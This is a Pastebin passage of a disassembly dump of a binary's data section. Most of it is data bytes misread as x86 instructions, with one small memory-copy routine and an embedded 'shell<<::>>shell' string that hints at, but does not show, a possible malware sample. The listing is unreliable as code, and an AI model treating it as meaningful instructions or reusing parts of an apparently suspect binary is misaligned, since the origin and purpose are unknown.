  838.                            .data:00000a52 69 71 52 65 61 42 61             imul   esi,DWORD PTR [ecx+0x52],0x61426165
  839.                            .data:00000a59 00 00                            add    BYTE PTR [eax],al
  840.                            .data:00000a5b 00 a4 f8 a0 03 7c 5b             add    BYTE PTR [eax+edi*8+0x5b7c03a0],ah
  841.                            .data:00000a62 16                               push   ss
  842.                            .data:00000a63 75 00                            jne    0x00000a65
  843.                            .data:00000a65 00 00                            add    BYTE PTR [eax],al
  844.                            .data:00000a67 00 84 5b 16 75 41 2d             add    BYTE PTR [ebx+ebx*2+0x2d417516],al
  845.                            .data:00000a6e d9 8f 2c 7b 0a 00                (bad)  [edi+0xa7b2c]
  846.                            .data:00000a74 01 00                            add    DWORD PTR [eax],eax
  847.                            .data:00000a76 00 80 00 00 00 00                add    BYTE PTR [eax+0x0],al
  848.                            .data:00000a7c 00 00                            add    BYTE PTR [eax],al
  849.                            .data:00000a7e 00 00                            add    BYTE PTR [eax],al
  850.                            .data:00000a80 00 00                            add    BYTE PTR [eax],al
  851.                            .data:00000a82 00 00                            add    BYTE PTR [eax],al
  852.                            .data:00000a84 58                               pop    eax
  853.                            .data:00000a85 6a 51                            push   0x51
  854.                            .data:00000a87 00 e0                            add    al,ah
  855.                            .data:00000a89 58                               pop    eax
  856.                            .data:00000a8a 70 32                            jo     0x00000abe
  857.                            .data:00000a8c 30 5a 6b                         xor    BYTE PTR [edx+0x6b],bl
  858.                            .data:00000a8f 00 12                            add    BYTE PTR [edx],dl
  859.                            .data:00000a91 00 12                            add    BYTE PTR [edx],dl
  860.                            .data:00000a93 00 24 b8                         add    BYTE PTR [eax+edi*4],ah
  861.                            .data:00000a96 20 03                            and    BYTE PTR [ebx],al
  862.                            .data:00000a98 00 00                            add    BYTE PTR [eax],al
  863.                            .data:00000a9a f1                               icebp  
  864.                            .data:00000a9b b7 90                            mov    bh,0x90
  865.                            .data:00000a9d 38 26                            cmp    BYTE PTR [esi],ah
  866.                            .data:00000a9f 51                               push   ecx
  867.                            .data:00000aa0 08 6e 74                         or     BYTE PTR [esi+0x74],ch
  868.                            .data:00000aa3 e4 55                            in     al,0x55
  869.                            .data:00000aa5 1a f5                            sbb    dh,ch
  870.                            .data:00000aa7 e9 8a 0a ca 3c                   jmp    0x3cca1536
  871.                            .data:00000aac e5 e3                            in     eax,0xe3
  872.                            .data:00000aae 1e                               push   ds
  873.                            .data:00000aaf e1 11                            loope  0x00000ac2
  874.                            .data:00000ab1 88 dd                            mov    ch,bl
  875.                            .data:00000ab3 4a                               dec    edx
  876.                            .data:00000ab4 db f8                            fnop  
  877.                            .data:00000ab6 a0 03 3d 2d d9                   mov    al,ds:0xd92d3d03
  878.                            .data:00000abb 8f                               (bad)  
  879.                            .data:00000abc 14 f9                            adc    al,0xf9
  880.                            .data:00000abe a0 03 bb 3f 73                   mov    al,ds:0x733fbb03
  881.                            .data:00000ac3 00 68 00                         add    BYTE PTR [eax+0x0],ch
  882.                            .data:00000ac6 65 00 6c 00 6c                   add    BYTE PTR gs:[eax+eax*1+0x6c],ch
  883.                            .data:00000acb 00 3c 00                         add    BYTE PTR [eax+eax*1],bh
  884.                            .data:00000ace 3c 00                            cmp    al,0x0
  885.                            .data:00000ad0 3a 00                            cmp    al,BYTE PTR [eax]
  886.                            .data:00000ad2 3a 00                            cmp    al,BYTE PTR [eax]
  887.                            .data:00000ad4 3e 00 3e                         add    BYTE PTR ds:[esi],bh
  888.                            .data:00000ad7 00 73 00                         add    BYTE PTR [ebx+0x0],dh
  889.                            .data:00000ada 68 00 65 00 6c                   push   0x6c006500
  890.                            .data:00000adf 00 6c 00 00                      add    BYTE PTR [eax+eax*1+0x0],ch
  891.                            .data:00000ae3 00 00                            add    BYTE PTR [eax],al
  892.                            .data:00000ae5 00 00                            add    BYTE PTR [eax],al
  893.                            .data:00000ae7 00 68 cd                         add    BYTE PTR [eax-0x33],ch
  894.                            .data:00000aea 20 03                            and    BYTE PTR [ebx],al
  895.                            .data:00000aec e8 f8 a0 03 3a                   call   0x3a03abe9
  896.                            .data:00000af1 44                               inc    esp
  897.                            .data:00000af2 26 75 bc                         es jne 0x00000ab1
  898.                            .data:00000af5 66 43                            inc    bx
  899.                            .data:00000af7 75 00                            jne    0x00000af9
  900.                            .data:00000af9 00 00                            add    BYTE PTR [eax],al
  901.                            .data:00000afb 00 1a                            add    BYTE PTR [edx],bl
  902.                            .data:00000afd 00 00                            add    BYTE PTR [eax],al
  903.                            .data:00000aff 00 08                            add    BYTE PTR [eax],cl
  904.                            .data:00000b01 00 00                            add    BYTE PTR [eax],al
  905.                            .data:00000b03 00 0c f9                         add    BYTE PTR [ecx+edi*8],cl
  906.                            .data:00000b06 a0 03 00 00 00                   mov    al,ds:0x3
  907.                            .data:00000b0b 00 d4                            add    ah,dl
  908.                            .data:00000b0d b3 81                            mov    bl,0x81
  909.                            .data:00000b0f 03 1a                            add    ebx,DWORD PTR [edx]
  910.                            .data:00000b11 00 00                            add    BYTE PTR [eax],al
  911.                            .data:00000b13 00 0c f9                         add    BYTE PTR [ecx+edi*8],cl
  912.                            .data:00000b16 a0 03 74 26 05                   mov    al,ds:0x5267403
  913.                            .data:00000b1b 00 24 74                         add    BYTE PTR [esp+esi*2],ah
  914.                            .data:00000b1e 0a 00                            or     al,BYTE PTR [eax]
  915.                            .data:00000b20 7c 26                            jl     0x00000b48
  916.                            .data:00000b22 05 00 1b 00 00                   add    eax,0x1b00
  917.                            .data:00000b27 00 00                            add    BYTE PTR [eax],al
  918.                            .data:00000b29 d4 05                            aam    0x5
  919.                            .data:00000b2b 00 55 8b                         add    BYTE PTR [ebp-0x75],dl
  920.                            .data:00000b2e ec                               in     al,dx
  921.                            .data:00000b2f 60                               pusha  
  922.                            .data:00000b30 8b 7d 08                         mov    edi,DWORD PTR [ebp+0x8]
  923.                            .data:00000b33 8b 75 0c                         mov    esi,DWORD PTR [ebp+0xc]
  924.                            .data:00000b36 8b 4d 10                         mov    ecx,DWORD PTR [ebp+0x10]
  925.                            .data:00000b39 f3 a4                            rep movs BYTE PTR es:[edi],BYTE PTR ds:[esi]
  926.                            .data:00000b3b 61                               popa  
  927.                            .data:00000b3c 5d                               pop    ebp
  928.                            .data:00000b3d c2 0c 00                         ret    0xc
  929.                            .data:00000b40 13 ad 84 b5 fe 66                adc    ebp,DWORD PTR [ebp+0x66feb584]
  930.                            .data:00000b46 e1 36                            loope  0x00000b7e
  931.                            .data:00000b48 76 5a                            jbe    0x00000ba4
  932.                            .data:00000b4a e5 2c                            in     eax,0x2c
  933.                            .data:00000b4c 1d d7 58 a1 71                   sbb    eax,0x71a158d7
  934.                            .data:00000b51 7b d3                            jnp    0x00000b26
  935.                            .data:00000b53 ef                               out    dx,eax
  936.                            .data:00000b54 d0 02                            rol    BYTE PTR [edx],1
  937.                            .data:00000b56 3e 72 e8                         ds jb  0x00000b41
  938.                            .data:00000b59 1c 63                            sbb    al,0x63
  939.                            .data:00000b5b a0 34 a2 6d 92                   mov    al,ds:0x926da234
  940.                            .data:00000b60 7f c9                            jg     0x00000b2b
  941.                            .data:00000b62 44                               inc    esp
  942.                            .data:00000b63 2a 8e 26 2f 51 65                sub    cl,BYTE PTR [esi+0x65512f26]
  943.                            .data:00000b69 ad                               lods   eax,DWORD PTR ds:[esi]
  944.                            .data:00000b6a 34 1c                            xor    al,0x1c
  945.                            .data:00000b6c cb                               retf  
  946.                            .data:00000b6d 03 10                            add    edx,DWORD PTR [eax]
  947.                            .data:00000b6f b8 fd b0 c5 7a                   mov    eax,0x7ac5b0fd
  948.                            .data:00000b74 c6                               (bad)  
  949.                            .data:00000b75 29 17                            sub    DWORD PTR [edi],edx
  950.                            .data:00000b77 6d                               ins    DWORD PTR es:[edi],dx
  951.                            .data:00000b78 4c                               dec    esp
  952.                            .data:00000b79 b2 78                            mov    dl,0x78
  953.                            .data:00000b7b 32 63 85                         xor    ah,BYTE PTR [ebx-0x7b]
  954.                            .data:00000b7e 3c 27                            cmp    al,0x27
  955.                            .data:00000b80 35 d5 18 0e 76                   xor    eax,0x760e18d5
  956.                            .data:00000b85 8b 38                            mov    edi,DWORD PTR [eax]
  957.                            .data:00000b87 b1 94                            mov    cl,0x94
  958.                            .data:00000b89 d2 7a 45                         sar    BYTE PTR [edx+0x45],cl
  959.                            .data:00000b8c 82                               (bad)  
  960.                            .data:00000b8d da a1 7e 1c 61 7d                fisub  DWORD PTR [ecx+0x7d611c7e]
  961.                            .data:00000b93 98                               cwde  
  962.                            .data:00000b94 3c e8                            cmp    al,0xe8
  963.                            .data:00000b96 5d                               pop    ebp
  964.                            .data:00000b97 cc                               int3  
  965.                            .data:00000b98 03                               .byte 0x3
  966.                            .data:00000b99 af                               scas   eax,DWORD PTR es:[edi]
  967.                            .data:00000b9a 60                               pusha  
  968.                            .data:00000b9b f6                               .byte 0xf6
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top